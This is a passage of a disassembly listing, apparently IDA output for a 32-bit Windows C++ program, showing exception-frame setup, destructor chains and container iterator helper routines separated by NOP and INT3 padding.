		jnz	short loc_414844


loc_4148AE:				; CODE XREF: sub_4147D0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414904
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4148D1
		push	1
		call	sub_4016FE


loc_4148D1:				; CODE XREF: sub_4147D0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414904:				; CODE XREF: sub_4147D0+2Ej
					; sub_4147D0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4147D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_4149B8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_4149B8:				; CODE XREF: sub_4149A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4149A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149D0	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4149D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4149D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414A60:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439D98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414BF7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414BAF


loc_414B64:				; CODE XREF: ___:00414BADj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414B8C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414B8C:				; CODE XREF: ___:00414B7Bj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414B64


loc_414BAF:				; CODE XREF: ___:00414B62j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414BF7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414BD2
		push	1
		call	sub_4011C7


loc_414BD2:				; CODE XREF: ___:00414BC9j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414BF7:				; CODE XREF: ___:00414B1Ej
					; ___:00414BB5j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414C70	proc near		; CODE XREF: sub_4011C7j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401B45
		test	[esp+4+arg_0], 1
		jz	short loc_414C88
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_414C88:				; CODE XREF: sub_414C70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414C70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414CA0	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414CA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414CA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D40	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414D40
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414E3B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F70
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C9E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414F70
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414D40+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F70
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C9E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414F70
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F70:				; CODE XREF: sub_414D40+82j
					; sub_414D40+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414D40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415030	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_415030	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415070	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_415070	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4150F0	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_4150F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415160	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_415160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151D0	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_4151D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401258j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012E9
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401D5C
		test	al, al
		jz	short loc_415291
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415243:				; CODE XREF: sub_415210+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415275
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
		jmp	short loc_41527E
; ---------------------------------------------------------------------------


loc_415275:				; CODE XREF: sub_415210+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41527E:				; CODE XREF: sub_415210+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415243
		pop	edi


loc_415291:				; CODE XREF: sub_415210+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4152F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415340	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415370	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415370	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401983j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_402234j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415490	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_401154j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_401983
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401AD7
		test	al, al
		jz	short loc_4155A1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415553:				; CODE XREF: sub_415520+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415585
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415520+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41558E:				; CODE XREF: sub_415520+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415553
		pop	edi


loc_4155A1:				; CODE XREF: sub_415520+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155E0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_4155E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415620	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415680	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415680	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156C0	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_4156C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415770	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_4157A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
